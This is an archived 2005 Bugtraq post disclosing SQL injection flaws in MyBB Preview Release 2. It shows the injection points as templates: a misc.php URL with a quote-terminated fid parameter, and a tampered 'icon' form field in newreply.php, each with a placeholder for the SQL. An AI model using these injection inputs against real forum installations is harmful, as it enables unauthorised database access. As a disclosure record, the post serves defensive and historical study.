[40209] in bugtraq
SQL Injection[2] In MyBB PR2
daemon@ATHENA.MIT.EDU (stranger-killer@hotmail.com)
Wed Sep 7 12:33:30 2005
Date: 7 Sep 2005 10:32:05 -0000
Message-ID: <20050907103205.21148.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: stranger-killer@hotmail.com
To: bugtraq@securityfocus.com
Hello ..
The Injected File : misc.php , newreply.php
Discovered by: Devil-00
Injected Versions :-
MyBB Preview Release 2
misc.php :-
[CODE]
http://site/misc.php?action=rules&fid=-1' [SQL]
[/CODE]
newreply.php :-
[CODE]
Do Preview By FireFox And Edit Header ;)
Content-Disposition: form-data; name="icon"\r\n
\r\n
-1') [SQL] /*\r\n
[/CODE]
GreeTz For Security4Arab Team And HACKERS PAL And ABDUCTER
